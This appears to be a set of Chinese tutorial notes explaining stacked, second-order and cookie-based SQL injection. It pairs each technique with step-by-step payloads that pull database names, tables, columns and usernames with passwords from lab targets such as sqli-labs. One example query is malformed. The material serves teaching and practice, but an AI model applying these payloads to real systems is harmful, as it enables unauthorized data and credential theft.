堆叠注入、二次注入、cookie注入
1.堆叠注入
原理
Stacked injections:堆叠注入。
从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。主要是命令行中,
每一条语句结尾加 ; 表示语句结束。 这样我们就想到了是不是可以多句一起使用。
这个叫做stacked injection。
使用条件
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库 函数支持执行多条sql语句时才能够使用。
语句(案例)
爆库名
id=1;select if(substr(database(),1,1)='a',sleep(5),1)
爆表名
id=1;select if(substr((select table_name from
information_schema.tables where table_schema='test' limit
0,1),1,1)='a',sleep(5),1)
爆字段名
id=1;select if(substr((select column_name from information_schema.columns where table_schema='test' where table_name='user' limit 0,1),1,1)='a',sleep(5),1)
爆值
id=1;select if(substr((select username from test.users limit
0,1),1,1)='a',sleep(5),1)
2.二次注入
原理
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取
并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的
特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并
存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就
发生了SQL二次注入。
####二次注入思路
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留
了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据
,没有进行进一步的检验的处理。
语句(案例)
注册网站:利用注册,将注入语句插入到数据库中去,会获得一个新的注册的值。
查询网站:再利用注册网站的相关信息,将语句引用出来并执行。
172.16.1.3/a/1.php?username=test&password=123
172.16.1.3/a/2.php?id=27,
其中:1.php页面的功能是注册用户名,也是插入SQL语句的地方;
2.php页面的功能是通过参数ID读取用户名和用户信息。
1)访问1.php?username=test’ ,注册test’用户,从页面返回test’对应的ID为12,访问2.php?id=12,
结果返回Mysql的错误(多了一个单引号引起的语法错误)
2):判断字段数
返回第一步:先访问1.php?username=test‘ order by 1%23,获取一个新的id=14,当再次访问2.PHP?id=14时,页面返回空白
返回第一步:先访问1.php?username=test‘ order by 10--+,获取一个新的id=20,当再次访问2.PHP?id=20时,页面返回错误信息Unknown column ’10‘ in ’order clause‘,通过不断尝试,从而可以判断数据库表中有3个字段。
3):找到显示的位置
http://172.16.13.91/web/sql/double1.php?username=test%27%20union%20select%201,2,3--+
再返回double2.php页面,输入id显示
4)爆库名
http://172.16.13.91/web/sql/double1.php?username=test%27%20union%20select%201,2,(database())--+
再返回double2.php页面,输入id显示
5)爆表名
http://172.16.13.91/web/sql/double1.php?username=test%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27test%27)--+
再返回double2.php页面,输入id显示
6)爆字段名
http://172.16.13.91/web/sql/double1.php?username=test%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27test%27and table_name='user')--+
再返回double2.php页面,输入id显示
7)爆数据
http://172.16.13.91/web/sql/double1.php?username=test%27%20union%20select%201,2,(select%20group_concat(id,username,password)%20from%20test.user%20)--+
再返回double2.php页面,输入id显示
3.cookie注入
原理:黑名单的绕过
一般的防注入程序都是基于“黑名单”的,根据特征字符串去过滤掉一些危险的字符。
一般情况下,黑名单是不安全的,它存在被绕过的风险。比如有的防注入程序只过滤了
通过GET、POST方式提交的数据,对通过Cookie方式提交的数据却并没有过滤,我
们可以使用Cookie注入攻击。
####如何确定一个网站是否存在Cookie注入漏洞。
n 寻找形如“.asp?id=xx”类的带参数的URL。
n 去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。如果正
常,则说明使用cookie作为参数传递。
n 使用burp抓包并构造payload
n 使用常规注入语句进行注入即可。
语句
只是在burp抓取的数据包里的cookie的请求头部后面进行sql语句注入
(可以查看之前的联合注入的文档-“sql注入--联合注入”)
案例
1,对sqil less-20 POST-Cookie injections实现cookie注入攻击
①判断字符类型
Cookie: uname=1'& passwd=
Cookie: uname=1'or 1=1#& passwd=
Cookie: uname=1' or 1=2#& passwd=
②判断字段数
Cookie: uname=1' order by 4 # & passwd=
③判断输出位置
Cookie: uname=1' union select 1,2,3 # & passwd=
④爆数据库
Cookie: uname=1' union select 1,database(),3 # & passwd=
⑤爆数据表
Cookie: uname=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 # & passwd=
⑥爆数据字段
Cookie: uname=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 # & passwd=
⑦爆数据值
Cookie: uname=1' union select 1,(select group_concat(id,username,password) from security.users),3 # & passwd=